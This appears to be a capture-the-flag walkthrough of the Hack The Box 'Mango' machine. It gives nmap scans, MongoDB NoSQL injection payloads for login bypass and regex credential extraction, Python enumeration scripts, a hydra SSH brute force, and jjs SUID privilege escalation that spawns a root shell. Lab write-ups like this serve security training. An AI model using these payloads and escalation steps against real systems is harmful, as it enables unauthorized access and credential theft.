Step 1. Reconnaissance & Enumeration
nmap -Pn -n -p- -g 53 mango.htb --min-rate 1000 -oA port_scan
cat port_scan.nmap | grep "open" | cut -d '/' -f 1 > port_scan.txt
cat port_scan.txt | tr '\n' ',' | sed s/,$// > port_scan.txt
nmap -Pn -n -sC -sV -p `cat port_scan.txt` mango.htb -oA version_scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The Nmap scan reveals ports 22, 80 and 443 running their usual services. Additionally, Nmap found a vhost named staging-order.mango.htb referred to in the SSL certificate. Let’s add mango.htb and staging-order.mango.htb to /etc/hosts , and proceed with our enumeration.
Browsing to port 80 returns a 403 forbidden error, however, the HTTPS website reveals a search engine.
The page just refreshes and doesn’t return any results on searching. The second vhost is found to host the same page on HTTPS. However, the HTTP website reveals a login page.
Attempting to login using common default credentials fail. Let’s intercept the request in Burp and examine the login request.
After many trials of login bypass we figured out the meaning of box name hint “Mango” ,so we tried MangoDB Nosql authentication bypass. MongoDB is not a relational database, therefore, SQL injections do not work. It is a NoSQL database, therefore, NoSQL injections may work.
The query above will result in a failed login due to an incorrect password. Sending a request with the parameter password[$ne]=admin would result in the query:
db.users.find({ username: { $ne : "admin" }, password: { $ne : "admin" } });
This returns true because the password for admin is not equal to admin , which bypasses the login successfully. It worked but nothing interesting here.
MongoDB Injection
As the home page doesn’t return any useful information., we can attempt to exfiltrate data from the Mongo database using the $regex operator by leveraging the boolean-based NoSQL. For example, the following query will search for usernames matching the regex a.* , which matches any username containing an a. We can use the fact that we get an HTTP code 200 (back to the login page) when the query is false and an HTTP code 302 (redirection to /home.php) when the query is true.
db.users.find({ username: { $regex : "a.*", password: { $ne : "admin" } });
Replacing a.* with b.* returns a 200 response, which means there’s no username with b in it. Let’s write a script to discover usernames using this logic. OR we can use the python script available on github for nosql user & pass enum.
On running the script we get following usernames and passwords.
python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep username -m POST
2 username(s) found:
admin
mango
python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep password -m POST
2 password(s) found:
h3mXK8RhU~f{]f5H
t9KcS3>!0B#2
let’s use hydra this time to try credentials on SSH and find correct pair.
hydra -L users.txt -P password.txt 10.10.10.162 -t 4 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-23 22:10:30
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try per task
[DATA] attacking ssh://10.10.10.162:22/
[22][ssh] host: 10.10.10.162 login: mango password: h3mXK8RhU~f{]f5H
1 of 1 target successfully completed, 1 valid password found
Login the system with mango
ssh login and change the user using su admin
with admin password. The user flag is located at user.txt.
Privilege Escalation
Searching for SUID files reveals two uncommon binaries, run-mailcap and jjs.
find / -perm -4000 -user root 2>/dev/null
OR we transfer the linpeas.sh to system and run
According to GTFOBins, jjs utility can be used to execute commands as root. We use it to output content of root.txt file.
echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs> > >
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) { print(line); }
OR simply by executing a system command by launching jjs with the -scripting flag and using backticks to run commands:
jjs -scripting
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> `cat /root/root.txt`
OR let’s spawn a shell using Java’s Runtime.Exec() function.
Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/sh /tmp/sh').waitFor()
Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /tmp/sh').waitFor()
The command above will copy /bin/sh to /tmp and make it an SUID.
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
def sendPayload():
for char in lowercase:
regex = '{}.*'.format(char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' :
'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
print "Found valid letter: {}".format(char)
def getUser():
sendPayload()
if __name__ == '__main__':
getUser()
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']
def sendPayload(word):
regex = '^{}.*'.format(word)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' :
'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
return word
else:
return None
def getUser():
for char in valid:
if sendPayload(char) != None:
print "Found username starting with {}".format(char)
if __name__ == '__main__':
getUser()
References:
- Official HTB Writeup